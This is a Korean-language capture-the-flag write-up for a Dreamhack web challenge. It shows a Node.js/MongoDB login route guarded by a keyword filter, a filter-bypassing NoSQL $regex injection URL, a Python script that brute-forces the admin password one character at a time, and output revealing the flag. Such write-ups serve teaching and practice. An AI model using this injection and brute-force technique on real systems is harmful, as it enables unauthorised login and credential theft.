// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
admin, dh, admi
라는 문자열이 있을 때 true를 반환합니다.app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
http://host3.dreamhack.games:16060/login?uid=admin&upw[$regex]=DH{.*
filter 함수로 인해 uid
와 [$regex]=
값에 제한이 생겨버렸습니다.
하지만 임의 문자를 뜻하는 .
을 이용해서 쉽게 우회할 수 있습니다.
http://host3.dreamhack.games:16060/login?uid=ad.&upw[$regex]=D.*
import requests, string
HOST = 'http://host3.dreamhack.games:16060'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
ion ~/wargame/web/Mango python3 exploit.py
FLAG: DH{8}
FLAG: DH{89}
FLAG: DH{89e}
FLAG: DH{89e5}
FLAG: DH{89e50}
FLAG: DH{89e50f}
FLAG: DH{89e50fa}
FLAG: DH{89e50fa6}
FLAG: DH{89e50fa6f}
FLAG: DH{89e50fa6fa}
FLAG: DH{89e50fa6faf}
FLAG: DH{89e50fa6fafe}
FLAG: DH{89e50fa6fafe2}
FLAG: DH{89e50fa6fafe26}
FLAG: DH{89e50fa6fafe260}
FLAG: DH{89e50fa6fafe2604}
FLAG: DH{89e50fa6fafe2604e}
FLAG: DH{89e50fa6fafe2604e3}
FLAG: DH{89e50fa6fafe2604e33}
FLAG: DH{89e50fa6fafe2604e33c}
FLAG: DH{89e50fa6fafe2604e33c0}
FLAG: DH{89e50fa6fafe2604e33c0b}
FLAG: DH{89e50fa6fafe2604e33c0ba}
FLAG: DH{89e50fa6fafe2604e33c0ba0}
FLAG: DH{89e50fa6fafe2604e33c0ba05}
FLAG: DH{89e50fa6fafe2604e33c0ba058}
FLAG: DH{89e50fa6fafe2604e33c0ba0584}
FLAG: DH{89e50fa6fafe2604e33c0ba05843}
FLAG: DH{89e50fa6fafe2604e33c0ba05843d}
FLAG: DH{89e50fa6fafe2604e33c0ba05843d3}
FLAG: DH{89e50fa6fafe2604e33c0ba05843d3d}
FLAG: DH{89e50fa6fafe2604e33c0ba05843d3df}